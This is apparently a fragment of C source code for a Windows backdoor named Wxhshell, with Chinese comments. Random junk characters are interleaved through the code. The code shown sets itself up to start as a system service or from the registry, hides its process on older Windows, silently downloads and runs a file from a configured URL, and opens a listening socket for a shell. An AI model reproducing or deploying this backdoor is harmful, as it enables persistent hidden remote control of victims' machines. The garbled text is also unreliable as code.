& if(hProcess==NULL) return 0; *n_4Rr wY_- HMODULE hMod; G{Enh<V char procName[255]; g7z9i[ unsigned long cbNeeded; JR<-'
.d!*<`S| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n9/0W%X> HWfX>Vf>}k CloseHandle(hProcess); ,Y8X"~{A k\<Ln
w if(strstr(procName,"services")) return 1; // 以服务启动 N b[o6AX J'c9577$ return 0; // 注册表启动 yIf}b } LqsJHG ^r
:A^q // 主模块 )9 jQ_ int StartWxhshell(LPSTR lpCmdLine) / lM~K: { (<JDD]J SOCKET wsl; C$ `Y[w BOOL val=TRUE; 3 DHA^9<q int port=0; PQ"%Z.F" struct sockaddr_in door; D=sc41] j"u)/A8* if(wscfg.ws_autoins) Install(); M>gZVB,eP> T<?BIQz(} port=atoi(lpCmdLine); ;L%~c4`l~m Od]xIk+E if(port<=0) port=wscfg.ws_port; \` ^Tbn: T|2%b*/ WSADATA data; sLqvDH?V if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rs[]i; LhRe?U\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *+Q*&-$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E(LE*J door.sin_family = AF_INET; Vot+gCZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); %ys}Q!gR door.sin_port = htons(port); @5G7bY7Nz y]4`d if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ly%B!P| closesocket(wsl); i O|,,;_ return 1; PSR`8z n } Y(Ezw !a (b}7Yb]#c if(listen(wsl,2) == INVALID_SOCKET) { H^:|`T|, closesocket(wsl); T5_Cu9>ax return 1; J\D3fh97- } bu&y w~ Wxhshell(wsl); X2?_lZ[\ WSACleanup(); a`iAA1HJ 1 ZFSz{ return 0; "q/M8 AV3,4u } >!.9g |bnjC $b * // 以NT服务方式启动 XqH<)B
] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p=gUcO8 { 7zZ|=W?&{ DWORD status = 0; :
X|7l?{xW DWORD specificError = 0xfffffff; J3^Z PW qJt gnk| serviceStatus.dwServiceType = SERVICE_WIN32; ZUW>{'[K serviceStatus.dwCurrentState = SERVICE_START_PENDING; #'h CohL serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }?kO<)d serviceStatus.dwWin32ExitCode = 0; q:sR zX serviceStatus.dwServiceSpecificExitCode = 0; Vp{2Z9]} serviceStatus.dwCheckPoint = 0; "<a|Q ,! serviceStatus.dwWaitHint = 0; s2=X>,kz? S9oGf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]X|G+[Ujv if (hServiceStatusHandle==0) return; "]Td^Nxi S]/+n> status = GetLastError(); ZhaOH5{9 if (status!=NO_ERROR) ;}'<`(f&nX { -V<"Ay serviceStatus.dwCurrentState = SERVICE_STOPPED; j)qh>y) serviceStatus.dwCheckPoint = 0; `_^=OOn
serviceStatus.dwWaitHint = 0; VW`=9T5%@ serviceStatus.dwWin32ExitCode = status; *G41%uz serviceStatus.dwServiceSpecificExitCode = specificError; F
&}V65 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~U+'3.Wo return; 0|;=mYa4M } rNyK*Wjt K.m[S[cy serviceStatus.dwCurrentState = SERVICE_RUNNING; U~t(YT serviceStatus.dwCheckPoint = 0; ??V["o T serviceStatus.dwWaitHint = 0; qDb}b d5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c%.&F } nB0ol-< hiHp@"l< // 处理NT服务事件,比如:启动、停止 ?='9YM VOID WINAPI NTServiceHandler(DWORD fdwControl) G3?z.5,Q {
#sZes switch(fdwControl) oyw1N;K { .y+U7"?s* case SERVICE_CONTROL_STOP: ),,vu serviceStatus.dwWin32ExitCode = 0; 5-^twXC& serviceStatus.dwCurrentState = SERVICE_STOPPED; epyfggMT serviceStatus.dwCheckPoint = 0; c
@fc7 serviceStatus.dwWaitHint = 0;
j]&{ @Y { C ,hsr SetServiceStatus(hServiceStatusHandle, &serviceStatus); vrbh+ } e*H$c?7NL return; Din)5CxFX case SERVICE_CONTROL_PAUSE: _AYF'o-Cm serviceStatus.dwCurrentState = SERVICE_PAUSED; 'DQyB`V2y break; pASVnXJZ case SERVICE_CONTROL_CONTINUE: n\Ixv serviceStatus.dwCurrentState = SERVICE_RUNNING; S
&u94hlC break; ||aU>Wj4 case SERVICE_CONTROL_INTERROGATE: >,3
3Jx break; 4PQWdPv; }; Q>$L;1E*, SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EQ/*ct } 3(5Y-.aK}^ 9<S-b |!@ // 标准应用程序主函数 D9en int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mM.&c5U { 9G~P)Z!0 [dMxr9M // 获取操作系统版本 :^a$ve3(Jq OsIsNt=GetOsVer(); ,-)1)R\. GetModuleFileName(NULL,ExeFile,MAX_PATH); /$(D>KU zhE7+``g // 从命令行安装 {IWb:p#I] if(strpbrk(lpCmdLine,"iI")) Install(); 2l?J9c}Wo qa6~N3* // 下载执行文件 f6nltZ if(wscfg.ws_downexe) { 6! 'Xo:p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ez{&Y>n WinExec(wscfg.ws_filenam,SW_HIDE); n}{cs } +F|[9o z >kYyR.p.b if(!OsIsNt) { S}X:LHr* // 如果时win9x,隐藏进程并且设置为注册表启动 4NV1v&" HideProc(); S##W_OlrI StartWxhshell(lpCmdLine); )A%Y
wI$ } G>x0}c else ~55>uw< if(StartFromService()) 'oG'`ED" // 以服务方式启动 BxF StartServiceCtrlDispatcher(DispatchTable); dp_q:P4;B else ZV;yXLx| // 普通方式启动 qv6]YPP StartWxhshell(lpCmdLine); |:z%7J3wP Yo:&\a K[ return 0; tPsU7bFk }
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